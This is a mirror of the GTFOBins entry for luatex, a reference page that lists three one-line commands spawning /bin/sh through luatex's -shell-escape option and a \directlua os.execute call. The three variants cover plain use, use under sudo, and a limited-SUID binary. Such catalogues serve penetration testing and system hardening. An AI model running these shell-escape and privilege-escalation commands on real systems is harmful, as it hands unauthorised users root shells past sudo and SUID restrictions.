1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/luatex.md
2021-04-26 16:07:59 +02:00

344 B

description functions
This allows to execute [`lua`](/gtfobins/lua/) code.
shell sudo limited-suid
code
luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
code
sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
code
./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'